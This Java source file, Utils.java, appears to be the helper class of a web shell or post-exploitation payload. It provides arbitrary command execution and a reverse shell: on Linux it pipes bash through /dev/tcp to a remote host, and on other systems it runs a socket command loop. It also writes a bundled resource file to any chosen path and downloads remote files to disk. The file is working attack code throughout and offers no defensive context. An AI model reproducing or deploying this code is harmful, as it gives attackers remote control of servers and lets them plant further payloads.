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Utils.java

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import java.io.BufferedReader;

import java.io.File;

import java.io.FileOutputStream;

import java.io.FileWriter;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.io.OutputStream;

import java.net.Socket;

import java.net.URL;

import java.net.URLConnection;

public class Utils {

static String os = System.getProperty("os.name").toLowerCase();

public static String exec(String cmd) {

String result="";

try {

if (cmd!=null&&cmd.trim().length()>0) {

if (os.startsWith("windows")) {

cmd="cmd.exe /c "+ cmd;

}else {

cmd="/bin/sh -c "+ cmd;

}

InputStream inputStream= Runtime.getRuntime().exec(cmd).getInputStream();

int read=0;

while ((read=inputStream.read())!=-1) {

result+=(char)read;

}

}

} catch (Exception e) {

result=e.getMessage();

}

return result;

}

public static String shell(String host, int port) {

String result = "";

if (host != null && host.trim().length() > 0 && port > 0) {

try {

if (os.startsWith("linux")) {

String name="wooyun.sh";

File file=new File(name);

FileWriter writer=new FileWriter(file);

writer.write("/bin/bash -i > /dev/tcp/"+host+"/"+port+" 0<&1 2>&1"+"\n");

writer.flush();

writer.close();

Runtime.getRuntime().exec("chmod u+x "+name);

Process process = Runtime.getRuntime().exec("bash "+name);

process.waitFor();

file.delete();

} else {

Socket socket = new Socket(host, port);

OutputStream out = socket.getOutputStream();

InputStream in = socket.getInputStream();

out.write(("whoami:\t" + exec("whoami")).getBytes());

int a = 0;

byte[] b = new byte[4096];

while ((a = in.read(b)) != -1) {

out.write(exec(new String(b, 0, a, "UTF-8").trim()).getBytes("UTF-8"));

}

}

} catch (Exception e) {

result = e.getMessage();

}

} else {

result = "host and port are required";

}

return result;

}

public static String upload(String path) {

String result="";

try {

if (path!=null&&path.trim().length()>0) {

FileOutputStream fos=new FileOutputStream(new File(path));

InputStream inputStream =new Utils().getClass().getResourceAsStream("/resource/one.txt");

BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));

String temp = "";

while (reader.ready()) {

temp += reader.readLine() + "\n";

}

fos.write(temp.getBytes());

fos.flush();

fos.close();

result="Upload Success";

}else {

result="Path is required";

}

} catch (Exception e) {

result =e.getMessage();

}

return result;

}

public static String download(String url, String path) {

String result="";

try {

if (url!=null&&url.trim().length()>0&&path!=null&&path.trim().length()>0) {

URLConnection conn=new URL(url).openConnection();

conn.setReadTimeout(10*60*1000);

conn.setReadTimeout(10*60*1000);

InputStream inputStream=conn.getInputStream();

int read=0;

FileOutputStream fos=new FileOutputStream(new File(path));

while ((read=inputStream.read())!=-1) {

fos.write(read);

}

fos.flush();

fos.close();

}else {

result="Url and path are required";

}

} catch (Exception e) {

result =e.getMessage();

}

return result;

}

public static String getClassPath() {

return new Utils().getClass().getClassLoader().getResource("/").getPath();

}

}